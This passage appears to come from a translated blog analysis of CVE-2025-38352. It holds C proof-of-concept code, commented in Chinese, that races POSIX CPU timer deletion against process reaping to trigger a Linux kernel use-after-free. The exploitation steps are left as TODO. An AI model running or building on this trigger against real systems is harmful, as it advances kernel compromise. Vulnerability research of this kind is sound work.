                for (int i = 0; i < NUM_TIMERS; i++) {
                    timer_settime(stall_timers[i], 0, &ts, NULL);
                }

                // 将 UAF 计时器设置为最晚触发的那个
                ts.it_value.tv_nsec = ONE_MS_NS;
                timer_settime(uaf_timer, 0, &ts, NULL);

                // 计时器已启动,让 REAPEE 线程继续执行
                pthread_barrier_wait(&barrier); // barrier 3

                // 当 waitpid() 成功返回时,父进程会向我们写入。
                //
                // 此时,如果我们赢得了竞争,`handle_posix_cpu_timers()`将在
                // 竞争窗口内,并且`timer_delete()`应该看到一个空(NULL)的`sighand`,这
                // 将导致它无条件地释放计时器。
                SYSCHK(read(p2c[0], &m, 1));

                // 竞争窗口通常至少开放3毫秒,因此我们可以睡眠
                // 1毫秒以增加我们在此处执行释放操作命中的机会。
                //
                // 可能需要在不同系统上修改此值,因为它取决于
                // 竞争窗口开放多长时间。KASAN也不允许
                // 创建太多睡眠线程,因此如果启用KASAN,
                // 需要稍微降低此值。
                usleep(1 * 1000);
                timer_delete(uaf_timer);

                // 让计时器被RCU释放,然后让父进程知道它可以退出
                wait_for_rcu();

                // 此时,要么UAF已触发,你会在dmesg中看到内核告警
                // 或KASAN崩溃信息,要么我们失败了。
                //
                // TODO exploit: 在此处找出如何检测我们是否赢得了竞争
                for (int i = 0; i < num_sleep_threads; i++) {
                    write(stall_fds[1], &m, 1);
                }
                for (int i = 0; i < num_sleep_threads; i++) {
                    pthread_join(sleep_threads[i], NULL);
                }

                // 向父进程发出信号以退出
                SYSCHK(write(c2p[1], &m, 1));

                // 等待父进程退出
                close(c2p[1]);
                close(p2c[0]);
                close(stall_fds[0]);
                close(stall_fds[1]);
                exit(0);
            }
        }
    }
    // 如果我们跳出上面的 while 循环,说明赢得了竞争
    // TODO exploit:
    exit(0);
}

原文:https://faith2dxy.xyz/2025-12-24/cve_2025_38352_analysis_part_2/